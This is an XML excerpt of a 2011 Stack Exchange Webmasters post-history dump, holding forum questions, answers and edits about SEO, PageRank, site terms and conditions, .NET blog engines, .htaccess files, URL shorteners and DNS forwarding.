  <row Id="23562" PostHistoryTypeId="2" PostId="10537" RevisionGUID="007bf677-011b-45ee-bf44-4efab5f4e4fa" CreationDate="2011-03-11T12:02:55.577" UserId="1587" Text="I am developing a website for my partner who is currently a sole trader, presently selling on ebay but we have opted to create our own site.&#xD;&#xA;&#xD;&#xA;I've noticed that there are many sites allowing you to purchase base-line T&amp;Cs to be used on websites, I'm tempted to give these a go but I've heard nothing on whether they are any good or not, I know in this position it's best to seek legal advice, but the budget is tight so we really can't afford that.&#xD;&#xA;&#xD;&#xA;Has anyone had experience with these sites? e.g. http://www.netlawman.co.uk/ecomm-it/website-terms-and-conditions.php?gclid=CPL4g8D3q6cCFQoa4Qodhj5UBg.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="23563" PostHistoryTypeId="1" PostId="10537" RevisionGUID="007bf677-011b-45ee-bf44-4efab5f4e4fa" CreationDate="2011-03-11T12:02:55.577" UserId="1587" Text="Terms and conditions for a commerce site" />
  <row Id="23564" PostHistoryTypeId="3" PostId="10537" RevisionGUID="007bf677-011b-45ee-bf44-4efab5f4e4fa" CreationDate="2011-03-11T12:02:55.577" UserId="1587" Text="&lt;websites&gt;&lt;ecommerce&gt;&lt;terms-of-use&gt;" />
  <row Id="23565" PostHistoryTypeId="5" PostId="10533" RevisionGUID="c9a55f8b-31b7-4dcb-bb09-0cd007b35e1a" CreationDate="2011-03-11T12:40:30.907" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Beginner to SEO here, starting with a personal site, looking for some insight and feedback.&#xD;&#xA;&#xD;&#xA;Question: what's more important, domain name or site title? &#xD;&#xA;&#xD;&#xA;Question: how important are the meta tags (description and keywords) on your site?  Description should be under 60 chars right?  How many keywords is ideal?&#xD;&#xA;&#xD;&#xA;Question: #1 most important SEO principle = ?? (my guess is getting others to link to your site)&#xD;&#xA;&#xD;&#xA;-thanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23566" PostHistoryTypeId="10" PostId="10533" RevisionGUID="38792bca-5061-4957-b542-1c363aede4ec" CreationDate="2011-03-11T12:40:30.767" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23567" PostHistoryTypeId="2" PostId="10538" RevisionGUID="134367c0-9256-4e32-a00c-c2c3dcb29c23" CreationDate="2011-03-11T13:14:27.650" UserId="233" Text="Option 2 is out straight away. Always link to the official, canonical URL. Linking to a non-canonical URL is akin to linking to a 301 redirect. You may lose a little PageRank, and if users copy &amp; link to the non-canon that will propagate further.&#xD;&#xA;&#xD;&#xA;It should be noted that the link text and general link value matters less in internal links than it does for incoming links from external sites. In terms of user friendliness, shorter URLs are better - as long as they adequately describe the page. In other words, if the title &quot;Dutch Design crazy...&quot; is important and describes the page better than simply &quot;Design&quot;, then go with the longer URL. Otherwise the shorter one if fine.&#xD;&#xA;&#xD;&#xA;Using the title attribute is another option as Digital Essence mentioned. However the tooltip is not always obvious to users since it takes a second to appear. Be careful that it doesn't impede their objective by covering up the link or other important text because that can be annoying." />
  <row Id="23568" PostHistoryTypeId="2" PostId="10539" RevisionGUID="ec228bdf-bb3b-4c66-ba09-c6657f8182dc" CreationDate="2011-03-11T13:25:29.073" UserId="233" Text="You can use the meta tag like Tom Gullen suggested, but then the only way to find out the author is to check the source of the page, since browsers don't tell you. Most people do not know how to do that.&#xD;&#xA;&#xD;&#xA;If you want to make it clear to all visitors who wrote the page's content, put the author's name direct on the page. There is no special element for that so just use `p`, `span` or `div`, whichever is appriprite.&#xD;&#xA;&#xD;&#xA;You may also like to take a look at the [hAtom][1] and [hCard][2] microformats, which use semantic classes to describe entities like articles and people.&#xD;&#xA;&#xD;&#xA;Finally just to point out - the author is irrelevant for SEO.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://microformats.org/wiki/hatom&#xD;&#xA;  [2]: http://microformats.org/wiki/hcard" />
  <row Id="23570" PostHistoryTypeId="25" PostId="10537" RevisionGUID="fbf29f1c-9f76-48af-8257-b83f1f942b13" CreationDate="2011-03-11T14:23:34.600" Comment="http://twitter.com/#!/StackWebmasters/status/46214686533881856" />
  <row Id="23571" PostHistoryTypeId="17" PostId="10542" RevisionGUID="9414f97d-4b76-47a5-8ae0-495c47201f6c" CreationDate="2011-03-11T14:37:16.847" UserId="-1" Comment="from http://stackoverflow.com/questions/5274196/net-blog-engine/5274218#5274218" Text="" />
  <row Id="23572" PostHistoryTypeId="17" PostId="10543" RevisionGUID="7c1817a0-0e38-435b-897a-c150a07c5d85" CreationDate="2011-03-11T14:37:16.847" UserId="-1" Comment="from http://stackoverflow.com/questions/5274196/net-blog-engine/5274222#5274222" Text="" />
  <row Id="23573" PostHistoryTypeId="2" PostId="10542" RevisionGUID="865ce7c4-80f5-44a5-b1c6-347855c9dfd5" CreationDate="2011-03-11T14:34:57.183" UserDisplayName="Justin Niessner" Text="What about [BlogEngine.NET][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dotnetblogengine.net/" />
  <row Id="23574" PostHistoryTypeId="2" PostId="10543" RevisionGUID="50162ef6-21f5-442c-a85b-ceef26175994" CreationDate="2011-03-11T14:35:30.647" UserDisplayName="BenCr" Text="After one very quick google search you could try...&#xD;&#xA;http://www.dotnetblogengine.net/" />
  <row Id="23575" PostHistoryTypeId="2" PostId="10541" RevisionGUID="97a24331-b80e-4a18-8f36-8991565501b9" CreationDate="2011-03-11T14:33:28.417" UserDisplayName="buda" Text="For one project i need a blog engine that support multiple blogs (registered user can create their own blogs).&#xD;&#xA;Blog engine has to be fully integrated with some existing system (users, roles, security etc.) so i need some good API, and if it is possible, blog engine must be developed in .NET.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="23576" PostHistoryTypeId="1" PostId="10541" RevisionGUID="97a24331-b80e-4a18-8f36-8991565501b9" CreationDate="2011-03-11T14:33:28.417" UserDisplayName="buda" Text=".NET Blog Engine" />
  <row Id="23577" PostHistoryTypeId="3" PostId="10541" RevisionGUID="97a24331-b80e-4a18-8f36-8991565501b9" CreationDate="2011-03-11T14:33:28.417" UserDisplayName="buda" Text="&lt;.net&gt;&lt;asp.net&gt;&lt;blog&gt;" />
  <row Id="23578" PostHistoryTypeId="17" PostId="10541" RevisionGUID="e0c31327-9157-4575-b3bc-6462efe66d45" CreationDate="2011-03-11T14:37:16.847" UserId="-1" Comment="from http://stackoverflow.com/questions/5274196/net-blog-engine" Text="" />
  <row Id="23579" PostHistoryTypeId="2" PostId="10544" RevisionGUID="426726f4-278b-401f-b2fb-fd40eb56ff3b" CreationDate="2011-03-11T14:40:03.787" UserId="84" Text="I would answer with a StackOverflow Question&#xD;&#xA;&#xD;&#xA;&gt; [Best .NET blog engine][1]&#xD;&#xA;&#xD;&#xA;Next time, please **Google it first**, you will get so many results, even all in **StackOverflow** and affiliates!&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/408212/best-net-blog-engine" />
  <row Id="23584" PostHistoryTypeId="2" PostId="10546" RevisionGUID="939387f2-a4c7-49a6-9d63-d609b5ecf983" CreationDate="2011-03-11T15:32:43.740" UserDisplayName="user631249" Text="I am on the first page of google for keywords concerned with MOVING, however i cant seem to break the carpet cleaning rankings. I have made changes and additions which havent been indexed yet. Should i wait for the run or please please can someone give me pointers on the carpet cleaning indexing.&#xD;&#xA;&#xD;&#xA;Also i have 53pages submitted and only 38 indexed, where could the problem be. Is there software to check indexing hiccups .&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="23585" PostHistoryTypeId="1" PostId="10546" RevisionGUID="939387f2-a4c7-49a6-9d63-d609b5ecf983" CreationDate="2011-03-11T15:32:43.740" UserDisplayName="user631249" Text="Can someone help with indexing issues" />
  <row Id="23586" PostHistoryTypeId="3" PostId="10546" RevisionGUID="939387f2-a4c7-49a6-9d63-d609b5ecf983" CreationDate="2011-03-11T15:32:43.740" UserDisplayName="user631249" Text="&lt;google&gt;&lt;indexing&gt;&lt;page&gt;" />
  <row Id="23587" PostHistoryTypeId="17" PostId="10546" RevisionGUID="473146b1-e3c7-4eb8-adcf-b51f50ac2f42" CreationDate="2011-03-11T15:45:29.717" UserId="-1" Comment="from http://stackoverflow.com/questions/5274899/can-someone-help-with-indexing-issues" Text="" />
  <row Id="23588" PostHistoryTypeId="2" PostId="10547" RevisionGUID="f2b1d92b-6a72-4ecc-82d7-20defbb8324b" CreationDate="2011-03-11T15:52:59.153" UserId="5847" Text="1) Microsoft Web Platform Installer 3.0 (Web PI) is a free tool that allows you to easily install and run the most popular free web applications for blogging like Wordpress, dasBlog, and BlogEngine.NET with the built-in Windows Web Application Gallery. You can download this from: [Microsoft Web Platform Installer 3.0 Web site][2]. You can feature links directly to the webinstallers on this page and offer a tutorial for users on what to put in for settings to setup the blog under your servers. &#xD;&#xA;&#xD;&#xA;A web-based installer creates a serious security risk on shared hosts because of file ownership. Anything your installer can write to is wide open to other accounts on the same server. You should drop the privileges after the installation.&#xD;&#xA;&#xD;&#xA;2) Windows Installer XML (WiX) is a toolset that builds Windows installation packages from XML source code. The toolset supports a command line environment that developers may integrate into their build processes to build MSI and MSM setup packages. There's a tutorial available for customizing and setting up WiX  here:  [customizing and setting up WiX][3] and you can [download WiX here][4] &#xD;&#xA;&#xD;&#xA;3) You can always ask your web hosting provider for the scripts they use to do the web installation of blogs from their control panel and then feature that script on your site. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: http://www.microsoft.com/web/downloads/platform.aspx&#xD;&#xA;  [3]: http://www.wintellect.com/CS/blogs/jrobbins/archive/2011/02/23/web-application-installer-in-wix.aspx&#xD;&#xA;  [4]: http://wix.sourceforge.net/" />
  <row Id="23589" PostHistoryTypeId="2" PostId="10548" RevisionGUID="017b113a-aa21-4c5e-a4b9-d7db1c19df67" CreationDate="2011-03-11T15:55:39.293" UserId="6033" Text="I have read this article: http://www.mattcutts.com/blog/subdomains-and-subdirectories/&#xD;&#xA;&#xD;&#xA;But I'm not 100% clear if moving my subdomain website into a subdirectory on the main domain would change anything related to SEO.&#xD;&#xA;&#xD;&#xA;I inherited this structure:&#xD;&#xA;&#xD;&#xA;&gt; 1. Informational site related to our specific industry lives at:&#xD;&#xA;&gt; http://website.com&#xD;&#xA;&gt; 2. StoreFront where we sell product related to our industry lives at:&#xD;&#xA;&gt; http://store.website.com&#xD;&#xA;&#xD;&#xA;The informational site gives a lot of good information on how to use the products we sell. The storefront is primarily used for the ecommerce function of selling the products, but there is a lot of info specific to the products on that site. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Question:**&#xD;&#xA;Is our main domain http://website.com getting page rank credit for the product info contained at http://store.website.com? Would there be a benefit to changing the structure?" />
  <row Id="23590" PostHistoryTypeId="1" PostId="10548" RevisionGUID="017b113a-aa21-4c5e-a4b9-d7db1c19df67" CreationDate="2011-03-11T15:55:39.293" UserId="6033" Text="Move subdomain into subdirectory SEO question" />
  <row Id="23591" PostHistoryTypeId="3" PostId="10548" RevisionGUID="017b113a-aa21-4c5e-a4b9-d7db1c19df67" CreationDate="2011-03-11T15:55:39.293" UserId="6033" Text="&lt;seo&gt;&lt;subdomain&gt;" />
  <row Id="23592" PostHistoryTypeId="6" PostId="10546" RevisionGUID="9efdf5a0-0363-4c5c-ba89-edbf8c391c2e" CreationDate="2011-03-11T15:56:25.693" UserId="1253" Comment="Removed &quot;indexing page&quot; tags and added &quot;page-ranking seo&quot; tags" Text="&lt;seo&gt;&lt;google&gt;&lt;page-ranking&gt;" />
  <row Id="23593" PostHistoryTypeId="2" PostId="10549" RevisionGUID="5734b004-ca87-45ce-8519-5c80be1ea70d" CreationDate="2011-03-11T15:58:58.983" UserId="1253" Text="PageRank (one word) is ***per page***, not ***per site***. It also is only a numerical representation of a page's *link popularity*. So as far as PageRank is concerned there is no concept of subdomains and websites. Just individual pages. &#xD;&#xA;&#xD;&#xA;The Matt Cutts article pretty much states that as far as SEO is concerned that there is no difference between subdirectories and subdomains. So based on your question there is no SEO benefit to moving your subdomain to a subdirectory." />
  <row Id="23594" PostHistoryTypeId="6" PostId="10548" RevisionGUID="61c457fc-cdc8-4d13-8d4c-841ea93e5054" CreationDate="2011-03-11T15:59:43.683" UserId="1253" Comment="Added &quot;pagerank&quot; tag" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;subdomain&gt;" />
  <row Id="23595" PostHistoryTypeId="4" PostId="10541" RevisionGUID="b7a9d395-6286-48ba-85c3-1fa95f1d7229" CreationDate="2011-03-11T16:02:29.067" UserId="5847" Comment="Made title more descriptive - ASP .NET Blog Engine Web Installer API " Text="ASP .NET Blog Engine Web Installer API " />
  <row Id="23596" PostHistoryTypeId="24" PostId="10541" RevisionGUID="b7a9d395-6286-48ba-85c3-1fa95f1d7229" CreationDate="2011-03-11T16:02:29.067" Comment="Proposed by 5847 approved by 1253 edit id of 61" />
  <row Id="23597" PostHistoryTypeId="5" PostId="10549" RevisionGUID="3ab064d8-b321-45e4-9cc6-70a976f2105b" CreationDate="2011-03-11T16:07:48.543" UserId="1253" Comment="added 338 characters in body" Text="PageRank (one word) is ***per page***, not ***per site***. It is only a numerical representation of a page's *link popularity*. So as far as PageRank is concerned there is no concept of subdomains and websites. Just individual pages. So if you want to have any PageRank associated with your store &quot;passed to&quot; pages on your main website you need to link to your main website's pages from your store's pages. Links are how PageRank is &quot;spread&quot;. You can read about the [PageRank formula at Wikipedia][1] as it is public knowledge.&#xD;&#xA;&#xD;&#xA;The Matt Cutts article pretty much states that as far as SEO is concerned that there is no difference between subdirectories and subdomains. So based on your question there is no SEO benefit to moving your subdomain to a subdirectory.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/PageRank" />
  <row Id="23598" PostHistoryTypeId="25" PostId="10548" RevisionGUID="6693da8e-186c-4217-94ed-671305c84721" CreationDate="2011-03-11T17:23:34.593" Comment="http://twitter.com/#!/StackWebmasters/status/46259984933203969" />
  <row Id="23599" PostHistoryTypeId="2" PostId="10550" RevisionGUID="c0789670-fd54-4f5c-b588-080260caad1a" CreationDate="2011-03-11T17:41:31.400" UserId="5847" Text="1) Look at what your top competitors are doing and mimick their website structure and content. &#xD;&#xA;&#xD;&#xA;2) Run Keyword Analytics to see what people search for. &#xD;&#xA;&#xD;&#xA;3) Find a niche market that works for your product - IE: Carpet Installation for Atlanta, GA&#xD;&#xA;&#xD;&#xA;4) Associate your business with a Twitter, Facebook, and Places account&#xD;&#xA;&#xD;&#xA;5) Add backlinking &#xD;&#xA;&#xD;&#xA;6) Read a book on SEO lol   " />
  <row Id="23600" PostHistoryTypeId="4" PostId="10546" RevisionGUID="80eea8f9-7dc2-451c-b415-f2ac0b4583de" CreationDate="2011-03-11T17:42:07.220" UserId="5847" Comment="Added Keywords to title " Text="SEO - Indexing and Page Ranking Issues w/ Google " />
  <row Id="23601" PostHistoryTypeId="24" PostId="10546" RevisionGUID="80eea8f9-7dc2-451c-b415-f2ac0b4583de" CreationDate="2011-03-11T17:42:07.220" Comment="Proposed by 5847 approved by 1253 edit id of 62" />
  <row Id="23602" PostHistoryTypeId="4" PostId="10546" RevisionGUID="fb68cbee-4230-4073-b78b-6fb8289b40fa" CreationDate="2011-03-11T17:57:20.233" UserId="5847" Comment="Added Keywords to Title" Text="SEO Google - Indexing and Page Ranking Issues" />
  <row Id="23603" PostHistoryTypeId="24" PostId="10546" RevisionGUID="fb68cbee-4230-4073-b78b-6fb8289b40fa" CreationDate="2011-03-11T17:57:20.233" Comment="Proposed by 5847 approved by -1 edit id of 63" />
  <row Id="23604" PostHistoryTypeId="4" PostId="10546" RevisionGUID="cb2e49e7-e018-448f-85e9-146719a0d2bd" CreationDate="2011-03-11T17:57:20.483" UserId="1253" Comment="Removed redundant seo and google words from title" Text="Indexing and Page Ranking Issues" />
  <row Id="23605" PostHistoryTypeId="5" PostId="10550" RevisionGUID="80ab9a90-db0d-45cf-b942-cfaf39f9033e" CreationDate="2011-03-11T18:15:28.580" UserId="5847" Comment="added 455 characters in body; added 141 characters in body; edited body; added 287 characters in body" Text="Be Patient. Google can take a long time initially to index new sites. &#xD;&#xA;&#xD;&#xA;1) Create a Sitemap to help the Google Crawler bots out and store it in your root directory as sitemap.xml. I recommend using [Sitemap Writer Pro ][1]. It will automatically scan all your files on your domain for you and create an XML Sitemap for Google's bots and an HTML Sitemap for you w/ links and page descriptions which users will find useful as well! It's great tool, especially if you have 50+ pages! It beats listing them all manually! &#xD;&#xA;&#xD;&#xA;2) Look at what your top competitors are doing and mimick their website structure and content. &#xD;&#xA;&#xD;&#xA;3) Run Keyword Analytics to see what people search for. &#xD;&#xA;&#xD;&#xA;4) Find a niche market that works for your product - IE: Carpet Installation for Atlanta, GA&#xD;&#xA;&#xD;&#xA;5) Associate your business with a Twitter, Facebook, and Places account&#xD;&#xA;&#xD;&#xA;6) Add backlinking &#xD;&#xA;&#xD;&#xA;7) Read a book on SEO lol   &#xD;&#xA;&#xD;&#xA;What is the website written in? Is it a Wordpress site? Sometimes you can get penalized for duplicate info if your wordpress sites aren't indexed correctly. Make sure none of the pages have duplicate info that you are trying to index. Google automatically ignores duplicate pages now. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemapwriter.com/download.html?name=download.php" />
  <row Id="23619" PostHistoryTypeId="2" PostId="10553" RevisionGUID="b2ca7a92-9627-4002-8089-cc42dcc177df" CreationDate="2011-03-11T21:01:12.253" UserId="6039" Text="Presumably your pages are in Swedish? If they are, or predominantly are, you would want the appropriate html language tag.  For the UK I use en-gb, for Sweden it would be sv.&#xD;&#xA;&#xD;&#xA;I'm pretty sure Google reads these to help geo-locate domains that use domains that are not expressly used now for countries - .eu, .me, .ly (bit.ly for example)&#xD;&#xA;&#xD;&#xA;If that has any effect be sure to post back here :)&#xD;&#xA;&#xD;&#xA;Adrian" />
  <row Id="23620" PostHistoryTypeId="2" PostId="10554" RevisionGUID="691bd1a0-177b-492a-b94e-ab2ee329c33e" CreationDate="2011-03-11T21:07:03.840" UserId="6039" Text="I agree, if the author info is for easy human consumption, use microformats. the Author metatag is only ever seen by people checking out other people's code!" />
  <row Id="23621" PostHistoryTypeId="2" PostId="10555" RevisionGUID="2bfcc7f5-f3fa-4637-bcb5-dd6d5bf8bc04" CreationDate="2011-03-11T21:08:34.127" UserId="6040" Text="Does anyone know of any management software for hosting our own short url service for internal use?  Our marketing group wants this for Twitter and etc. so that we can push our brand.  We have both windows and linux servers where we can host." />
  <row Id="23622" PostHistoryTypeId="1" PostId="10555" RevisionGUID="2bfcc7f5-f3fa-4637-bcb5-dd6d5bf8bc04" CreationDate="2011-03-11T21:08:34.127" UserId="6040" Text="Short URL management software to host internal url shortening" />
  <row Id="23623" PostHistoryTypeId="3" PostId="10555" RevisionGUID="2bfcc7f5-f3fa-4637-bcb5-dd6d5bf8bc04" CreationDate="2011-03-11T21:08:34.127" UserId="6040" Text="&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="23624" PostHistoryTypeId="2" PostId="10556" RevisionGUID="a509b1ab-237a-497c-a98c-e7dbe5c03d5a" CreationDate="2011-03-11T21:11:21.823" UserId="6039" Text="If you want to be nice to IE6 (or heaven forbid earlier) and not worry about png fixes I would use gif. But then who wants to be nice to IE6 any more? :)" />
  <row Id="23625" PostHistoryTypeId="2" PostId="10557" RevisionGUID="75d0a75a-2ac2-4a1a-842a-08b1c499826d" CreationDate="2011-03-11T21:22:35.637" UserId="6039" Text="&quot;is not possible to provide false information when you are going to register your domain&quot;&#xD;&#xA;on which planet?&#xD;&#xA;If you are registering a .co.uk it is possible to choose to opt out of the public dissemination of your your details for free. As others have said, for instances where you are a bona fide company it makes more sense to publicly acknowledge your ownership of a domain.&#xD;&#xA;If you have valid reasons (and there are many) to retain your privacy, the annual fee for so doing is small.&#xD;&#xA;The net is chock-a-block with fraudulent or misleading registration details.  The desire to avoid spam is not a good enough reason to fabricate an identity. If the purpose of your domain registration is legit, be out and proud!  If it might cause embarrassment or itching, cough up the privacy fee." />
  <row Id="23626" PostHistoryTypeId="2" PostId="10558" RevisionGUID="1d611b7d-d14d-4145-a494-fef820138676" CreationDate="2011-03-11T21:43:31.220" UserId="6039" Text="Can you clarify your question slightly? As I interpret it, you are wanting a system that lets your users 'own' the shortened URL (as opposed to relying on a third party), but the shortened URLs they generate will then be tweeted?&#xD;&#xA;&#xD;&#xA;If I've got that right, you might like these scripts, some of which I've tried - I think there are many similar ones out there though, largely Linux-based:&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://get-shorty.com/&quot;&gt;Get Shorty&lt;/a&gt;&lt;br /&gt;&#xD;&#xA;&lt;a href=&quot;http://thesidepath.com/news/sidepath-released-for-free&quot;&gt;Sidepath&lt;/a&gt;&lt;br /&gt;&#xD;&#xA;&lt;a href=&quot;http://yourls.org/&quot;&gt;Yourls&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;HTH" />
  <row Id="23627" PostHistoryTypeId="2" PostId="10559" RevisionGUID="b95a5b04-104e-48f6-b5cc-5e84473e0d8d" CreationDate="2011-03-11T21:50:01.417" UserId="6039" Text="http://diveintohtml5.org/video.html is worth a read - put me off bothering too much for now!" />
  <row Id="23628" PostHistoryTypeId="5" PostId="10555" RevisionGUID="1c7b6d78-6fcf-413a-be02-cb1e77e9597e" CreationDate="2011-03-11T21:58:01.493" UserId="6040" Comment="added 103 characters in body" Text="Does anyone know of any management software for hosting our own short url service for internal use?  Our marketing group wants this for Twitter and etc. so that we can push our brand.  We have both windows and linux servers where we can host.  &#xD;&#xA;&#xD;&#xA;***Addtional info:&#xD;&#xA;&#xD;&#xA;Yes we want to do ourname.com/hkjl45 instead of going to bit.ly or tinyurl." />
  <row Id="23629" PostHistoryTypeId="2" PostId="10560" RevisionGUID="5cf137f3-4ede-4d3e-a2aa-ea6666012098" CreationDate="2011-03-11T22:23:56.520" UserId="5873" Text="I'm working on a multilingual website, and I want to generate the links in this way:&#xD;&#xA;&#xD;&#xA;The site is domain.tld and defaults to English,&#xD;&#xA;&#xD;&#xA;It has some subdomains like fr.domain.tld which will be in French, de.domain.tld which will be in German, it.domain.tld which will be in Italian...&#xD;&#xA;&#xD;&#xA;when the current page is the index, the links to other languages will be like this:&#xD;&#xA;&#xD;&#xA;domain.tld, fr.domain.tld, de.domain.tld, it.domain.tld....&#xD;&#xA;&#xD;&#xA;But when we are in another page like domain.tld/my-page, how do we generate the URLs to match the current page but with another subdomain/language using PHP" />
  <row Id="23630" PostHistoryTypeId="1" PostId="10560" RevisionGUID="5cf137f3-4ede-4d3e-a2aa-ea6666012098" CreationDate="2011-03-11T22:23:56.520" UserId="5873" Text="change the subdomain and keep the rest of the url" />
  <row Id="23631" PostHistoryTypeId="3" PostId="10560" RevisionGUID="5cf137f3-4ede-4d3e-a2aa-ea6666012098" CreationDate="2011-03-11T22:23:56.520" UserId="5873" Text="&lt;domains&gt;&lt;php&gt;&lt;subdomain&gt;" />
  <row Id="23632" PostHistoryTypeId="2" PostId="10561" RevisionGUID="d4172cbf-b813-4b36-bba0-a46ae17fda3b" CreationDate="2011-03-11T23:11:19.290" UserId="5810" Text="I only have a basic understanding of .htacess files.  What's the most advanced task you've accomplished using them?" />
  <row Id="23633" PostHistoryTypeId="1" PostId="10561" RevisionGUID="d4172cbf-b813-4b36-bba0-a46ae17fda3b" CreationDate="2011-03-11T23:11:19.290" UserId="5810" Text="What is the most involved task that you used .htaccess files to accomplish during web development?" />
  <row Id="23634" PostHistoryTypeId="3" PostId="10561" RevisionGUID="d4172cbf-b813-4b36-bba0-a46ae17fda3b" CreationDate="2011-03-11T23:11:19.290" UserId="5810" Text="&lt;htaccess&gt;" />
  <row Id="23635" PostHistoryTypeId="25" PostId="10555" RevisionGUID="c4375b5f-4eb1-44c5-8ee2-6690b9ecbe50" CreationDate="2011-03-11T23:23:34.753" Comment="http://twitter.com/#!/StackWebmasters/status/46350582499385345" />
  <row Id="23636" PostHistoryTypeId="10" PostId="10561" RevisionGUID="9a900cd7-96b8-47e8-b0aa-f980c4916829" CreationDate="2011-03-11T23:26:25.003" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23637" PostHistoryTypeId="2" PostId="10562" RevisionGUID="866fd869-7314-490d-b712-773c8ef7d091" CreationDate="2011-03-12T00:26:26.637" UserId="5810" Text="I only have a basic understanding of .htaccess files.  What are some tasks that can be accomplished using them?  What are good resources that would aid in learning how to use them on a more advanced level?  What are downsides/risks/etc to using them?  What are benefits to using them?" />
  <row Id="23638" PostHistoryTypeId="1" PostId="10562" RevisionGUID="866fd869-7314-490d-b712-773c8ef7d091" CreationDate="2011-03-12T00:26:26.637" UserId="5810" Text="Uses of .htaccess files" />
  <row Id="23639" PostHistoryTypeId="3" PostId="10562" RevisionGUID="866fd869-7314-490d-b712-773c8ef7d091" CreationDate="2011-03-12T00:26:26.637" UserId="5810" Text="&lt;htaccess&gt;" />
  <row Id="23640" PostHistoryTypeId="2" PostId="10563" RevisionGUID="dd37e52d-4743-4090-87bc-58c49241279f" CreationDate="2011-03-12T01:01:36.967" UserId="6043" Text=".htaccess (hypertext access) files are essentially a per-directory Apache configuration file. Whatever configuration options you put in that file will apply only to the contents of that directory including its sub-directories.&#xD;&#xA;&#xD;&#xA;What you can do with htaccess files depends on how your specific Apache install is configured. Generally, you can use set, for instance PHP runtime flags, as well as control viewing permissions, password protection, directory indexes, and rewriting urls.&#xD;&#xA;&#xD;&#xA;Apache's online documentation has [a great tutorial to .htaccess files.][2]&#xD;&#xA;&#xD;&#xA;The risk of using an .htaccess file is misconfiguration. If you cause a syntax error in an .htaccess file, Apache will throw HTTP 500 errors to the client making your directory and everything under it impossible to access via web. There is no official .htaccess syntax validator that I'm aware of but you can try [this one][3].&#xD;&#xA;&#xD;&#xA;There are tons of great benefits to using .htaccess files. Because they are called on every request they apply to (which could turn into a performance issue for some), configuration takes place immediately and you don't have to reload or restart Apache. They are ideal for, and often used on, shared web-hosting because you won't have access to Apache's main configuration file(s).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: http://httpd.apache.org/docs/current/howto/htaccess.html&#xD;&#xA;  [3]: http://shop.alterlinks.com/htaccess-validator/htaccess-validator.php" />
  <row Id="23641" PostHistoryTypeId="10" PostId="10562" RevisionGUID="af101720-415a-43db-b278-4e2100091b3e" CreationDate="2011-03-12T01:31:45.050" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="23645" PostHistoryTypeId="2" PostId="10565" RevisionGUID="2d32a767-2f51-4241-9180-9efc2fe74f9e" CreationDate="2011-03-12T01:39:11.427" UserId="6044" Text="I have free dns hosting with the domain registrar and I'd like the dns hosted domain www.example.com to display contents of www.myotherlongdomain.com.&#xD;&#xA;&#xD;&#xA;I only have 301/302/iframe forwarding options, however I want to mask the redirected (longdomain) url. If I use frames, users can view the source and see the (longdomain) url the contents are coming from.&#xD;&#xA;&#xD;&#xA;How can I hide it so it always displays www.example.com?&#xD;&#xA;There is no cloaking/masking option with the registrar.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="23646" PostHistoryTypeId="1" PostId="10565" RevisionGUID="2d32a767-2f51-4241-9180-9efc2fe74f9e" CreationDate="2011-03-12T01:39:11.427" UserId="6044" Text="dns hosting - url forwarding - hiding forwarded url?" />
  <row Id="23647" PostHistoryTypeId="3" PostId="10565" RevisionGUID="2d32a767-2f51-4241-9180-9efc2fe74f9e" CreationDate="2011-03-12T01:39:11.427" UserId="6044" Text="&lt;domains&gt;&lt;redirects&gt;&lt;dns&gt;&lt;domain-forwarding&gt;" />
  <row Id="23651" PostHistoryTypeId="25" PostId="10562" RevisionGUID="4405349f-f673-4fea-a4a7-17323ae9b2fb" CreationDate="2011-03-12T02:23:34.747" Comment="http://twitter.com/#!/StackWebmasters/status/46395880982577152" />
  <row Id="23652" PostHistoryTypeId="2" PostId="10566" RevisionGUID="6aec7764-bfba-4ff2-b608-90866c04faa6" CreationDate="2011-03-12T02:25:16.207" UserId="6043" Text="Without being able to point www.example.com's DNS to www.myotherlongdomain.com, I'm afraid what you're asking is impossible. Without some kind of direct DNS control you won't be able to make www.example.com be equivalent to www.myotherlongdomain.com.&#xD;&#xA;&#xD;&#xA;Since this is a limitation of the services you currently utilize, I'd recommend giving [ZoneEdit][1] a try.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zoneedit.com/" />
  <row Id="23653" PostHistoryTypeId="2" PostId="10567" RevisionGUID="fa1706f2-c78b-42a9-9d2c-34215c37a1a8" CreationDate="2011-03-12T02:44:32.777" UserId="6045" Text="Is there a way to determine the length of the content contained inside an h2 element, which changes. So an hr tag can be set to the same length plus some additional width?&#xD;&#xA;&#xD;&#xA;so it would look sort of like&#xD;&#xA;&#xD;&#xA;I tried some psuedocode to explain what I mean. I would move this to a css rule of course&#xD;&#xA;&#xD;&#xA;    &lt;h2&gt;SOME RANDOM TITLE LENGTH&lt;/h2&gt;&#xD;&#xA;    &lt;hr style=width_of_H2_plus_5% /&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
